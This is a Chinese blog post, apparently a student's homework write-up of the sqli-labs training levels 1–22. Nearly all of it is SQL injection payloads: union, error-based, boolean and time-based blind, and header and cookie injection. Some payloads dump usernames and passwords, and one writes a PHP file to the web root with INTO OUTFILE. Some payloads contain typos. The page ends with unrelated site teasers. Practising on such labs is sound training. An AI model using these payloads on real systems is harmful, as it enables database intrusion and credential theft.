news 2026/3/31 18:03:29

web第四周

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
web第四周

sqli-labs 1-22

less-1

在url后加上?id=1and id=2?id=1' order by 3--+ 正常 判断回显位有三个。?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flag?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+爆出列是id,flag

爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

less-2

判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+尝试闭合查看是否存在SQL注入:查看那些地方可以回显
?id=-1 union select 1,2,3--+查看数据库名称:
?id=-1 union select 1,databse(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-3

判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+

爆表名,使用 group_concat() 函数合并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询数据

?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

less-4

这关输入id=1'是不会报错,字段本身是int类型

找列数
?id=1") order by 3 --+
?id=1") order by 4 --+

确定当前数据库

?id=-1") union select 1,2,database() --+

出当前数据库内的所有表名

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出当前数据库user表的所有列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

爆出当前数据库user表所有username和password

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

less-5

存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1'and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

less-6

判断是否存在注入:?id=1" and 1=1 -- qwe判断库名:?id=1" and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名:?id=1" and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名:?id=1 "and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据:?id=1 "and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-7

?id=1?id=1%27))%20%20union%20select%201,"<?phpinfo();?>",3%20into%20outfile%20"D:/phpstudy_pro/WWW/sqli-labs-php7-master/Less-7//aaa.php"%20--+

less-8

猜解库名长度
?id=1' and (length (database ()))=8 -- qwe利用 ASCII 码猜解当前数据库名称:
?id=1' and (ascii (substr (database (),1,1)))=115-- qwe 返回正常,说明数据库名称第一位是 s?id=1' and (ascii (substr (database (),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是 e猜表名:
?id=1' and (ascii (substr (select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101-- qwe 如果返回正常,说明数据库表名的第一个的第一位是 e猜字段名
and (ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- qwe 如果返回正常,说明 emails 表中的列名称第一位是 i

less-9

猜解库名长度
?id=1'and if (length (database ())=8,sleep (5),1) -- qwe利用 ASCII 码猜解当前数据库名称
:?id=1' and if ((ascii (substr (database (),1,1))=115),sleep (5),1) -- qwe
延时,说明数据库名称第一位是 s猜表名:
?id=1' and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库表名的第一个的第一位是 e猜字段名
?id=1' and if ((ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep (5),1) -- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i

less-10

猜解库名长度
?id=1" and if (length (database ())=8,sleep (5),1)-- qwe利用 ASCII 码猜解当前数据库名称:
?id=1" and if ((ascii (substr (database (),1,1))=115),sleep (5),1) -- qwe
延时,说明数据库名称第一位是 s?id=1" and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库名称第二位是 e猜表名:
?id=1" and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库表名的第一个的第一位是 e猜字段名
?id=1"and if ((ascii (substr ((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105),sleep (5),1) -- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i

less-11

尝试万能密码:'or 1=1 -- qwe判断字段数:'or 1=1 order by 2 -- qwe判断显错位: 'union select 1,2 -- qwe判断库名:' union select 1,database () -- qwe判断表名:'union select 1,table_name from information_schema.tables where table_schema='security' -- qwe判断列名:'union select 1,column_n!ame from information_schema.columns where table_schema='security' and table_name='emails' -- qwe判断数据:'union select 1,id from emails-- qwe' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#' union select 1,group_concat(username,password) from users#

less-12

尝试万能密码:") or 1=1 -- qwe判断字段数:") or 1=1 order by 2 -- qwe判断库名:") union select 1,database () -- qwe判断表名:") union select 1,table_name from information_schema.tables where table_schema='security' -- qwe判断列名:")'union select 1,column_name from information_schema.columns where table_schema='securitynd table_name='emails' -- qwe判断数据:") union select 1,id from emails-- qwe

less-13

判断是否存在注入:?id=1' and 1=1 -- qwe

判断库名: ') and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名: ') and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名: ') and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据: ') and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-14

判断是否存在注入:?id=1" and 1=1 -- qwe判断库名: "and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名: "and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名: "and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe!判断数据: "and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-15

猜解库名长度
'or (length (database ()))=8 -- qwe利用 ASCII 码猜解当前数据库名称:
'or (ascii (substr (database (),1,1)))=115-- qwe
返回正常,说明数据库名称第一位是 s'or (ascii (substr (database (),2,1)))=101-- qwe
返回正常,说明数据库名称第二位是 e猜表名:
'or (ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1)))=101-- qwe
如果返回正常,说明数据库表名的第一个的第一位是 e猜字段名
'or (ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i' or 1=1#‘ or length(database())=8#' or substr((database()),1,8)='security'#' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#' or substr((select group_concat(id,email_id) from emails),1,1)='1'#

less-16

")or 1=1#")or length(database())=8#") or substr((database()),1,8)='security'#")or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#")or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#") or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#")or substr((select group_concat(id,email_id) from emails),1,1)='1'#

less-17

成功更新username:admin
newpassword:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))#判断是否存在注入:'or 1=1 -- qwe判断库名:'and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名:'and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名:'and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据:'and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-18

User-Agent可以显示到页面中,那么我们就可以尝试抓包然后在User-Agent中进行注入:提取当前数据库名`' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --提取 security 库第一个表名`' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) --`' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '查询当前数据库内所有表名
1',2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#查询列名
1',2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),0x7e),1))#查询数据
1',2,extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),n,n),0x7e)))#1',2,extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),n,n),0x7e)))#1',2,extractvalue(1,concat(0x7e,mid((select group_concat(username,'^',password) from users),n,n),0x7e)))#

less-19

referer可以显示到页面中,那么我们就可以尝试抓包然后在referer中进行注入:查询数据库名称

1',extractvalue(1,concat(0x7e,(select database()),0x7e)))#查询当前数据库内所有表名
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#查询列名
1',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),0x7e)))#

查询数据

1',extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),n,n),0x7e)))#

1',extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),n,n),0x7e)))#

1',extractvalue(1,concat(0x7e,mid((select group_concat(username,'^',password) from users),n,n),0x7e)))#

less-20

cookie是可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来注入出数据判断数据库列数
输入 Dumb' order by 3# 和 Dumb' order by 4# ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb' union select 1,2,3# 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb' union select 1,database(),version()#查询当前数据库内所有表名
-Dumb' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#查询列名
-Dumb' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#查询数据
-Dumb' union select 1,group_concat(username),group_concat(password) from users#

less-21

判断数据库列数
输入 Dumb') order by 3#_`RHVtYicpIG9yZGVyIGJ5IDMj`_ 和 Dumb') order by 4#_`RHVtYicpIG9yZGVyIGJ5IDQj`_ ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb') union select 1,2,3#_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLDMj`_ 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb') union select 1,database(),version()#
base64编码后:
_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSM=查询当前数据库内所有表名
-Dumb') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
base64编码后:
LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj

查询列名
-Dumb') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#

base64编码后:_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ICdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyM=查询数据
-Dumb') union select 1,group_concat(username),group_concat(password) from users#
base64编码后:
LUR1bWInKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=
构造注入 Payload
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCBkYXRhYmFzZSgpKSwweDdlKSwxKSBhbmQgKCcxJz0nMQ==提取 security 库第一个表名
')and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) and ('1'='1
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBMSU1JVCAwLDEpLDB4N2UpLDEpIGFuZCAoJzEnPScx提取 emails 表第一个列名
')and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1),0x7e),1) and ('1'='1
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCBjb2x1bW5fbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lPSdlbWFpbHMnIExJTUlUIDAsMSksMHg3ZSksMSkgYW5kICgnMSc9JzE=

less-22

判断数据库列数
输入 Dumb" order by 3#_`RHVtYiIgb3JkZXIgYnkgMyM=`_ 和 Dumb" order by 4#_`RHVtYiIgb3JkZXIgYnkgNCM=`_ ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb" union select 1,2,3#_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMyM=`_ 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb" union select 1,database(),version()#
base64编码后:
_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksdmVyc2lvbigpIw==

查询当前数据库内所有表名
-Dumb" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

base64编码后:_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=查询列名
-Dumb" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#
base64编码后:
_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0gJ3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==查询数据
-Dumb" union select 1,group_concat(username),group_concat(password) from users#
base64编码后:_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/31 22:47:08

SillyTavern网络性能优化终极指南:从卡顿到丝滑的完整解决方案

SillyTavern网络性能优化终极指南&#xff1a;从卡顿到丝滑的完整解决方案 【免费下载链接】SillyTavern LLM Frontend for Power Users. 项目地址: https://gitcode.com/GitHub_Trending/si/SillyTavern 你是否曾经在深夜与AI角色畅聊时&#xff0c;突然遭遇页面卡顿、…

作者头像 李华
网站建设 2026/3/26 22:23:08

ncmdump终极指南:3个简单步骤解锁网易云音乐NCM文件

想要解除网易云音乐NCM格式限制&#xff0c;让加密的音乐文件重获自由吗&#xff1f;ncmdump工具就是你的终极解决方案。这款轻量级工具能够快速解密NCM文件&#xff0c;转换为通用的MP3格式&#xff0c;让音乐在不同设备和播放器中都能正常播放。无论是单个文件转换还是批量处…

作者头像 李华
网站建设 2026/3/26 8:01:23

feishu-doc-export:跨平台飞书文档批量导出解决方案

feishu-doc-export&#xff1a;跨平台飞书文档批量导出解决方案 【免费下载链接】feishu-doc-export 项目地址: https://gitcode.com/gh_mirrors/fe/feishu-doc-export 在数字化转型浪潮中&#xff0c;企业文档管理面临从飞书知识库到本地环境的无缝迁移挑战。feishu-d…

作者头像 李华
网站建设 2026/3/27 9:10:08

5步极速指南:ncmdump NCM音乐完全解锁方案

5步极速指南&#xff1a;ncmdump NCM音乐完全解锁方案 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼&#xff1f;ncmdump这款轻量级工具将成为你的音乐格式转换利器&…

作者头像 李华
网站建设 2026/3/29 8:47:43

GitHub中文界面终极优化指南:让代码管理更高效

GitHub中文界面终极优化指南&#xff1a;让代码管理更高效 【免费下载链接】github-chinese GitHub 汉化插件&#xff0c;GitHub 中文化界面。 (GitHub Translation To Chinese) 项目地址: https://gitcode.com/gh_mirrors/gi/github-chinese 还在为GitHub全英文界面而苦…

作者头像 李华
网站建设 2026/3/30 20:00:29

AI率从92%降到3%,2026年最新去论文ai痕迹的攻略来了!

2025年起&#xff0c;高校已明确要求毕业论文要检测AIGC率&#xff0c;AI率高于30%或40%就不能参加答辩&#xff0c;而部分学校、硕士论文更加严格&#xff0c;要求在20%以内。 这其中&#xff0c;大多数高校使用的AIGC检测系统是知网、万方、维普等主流查重系统&#xff0c;这…

作者头像 李华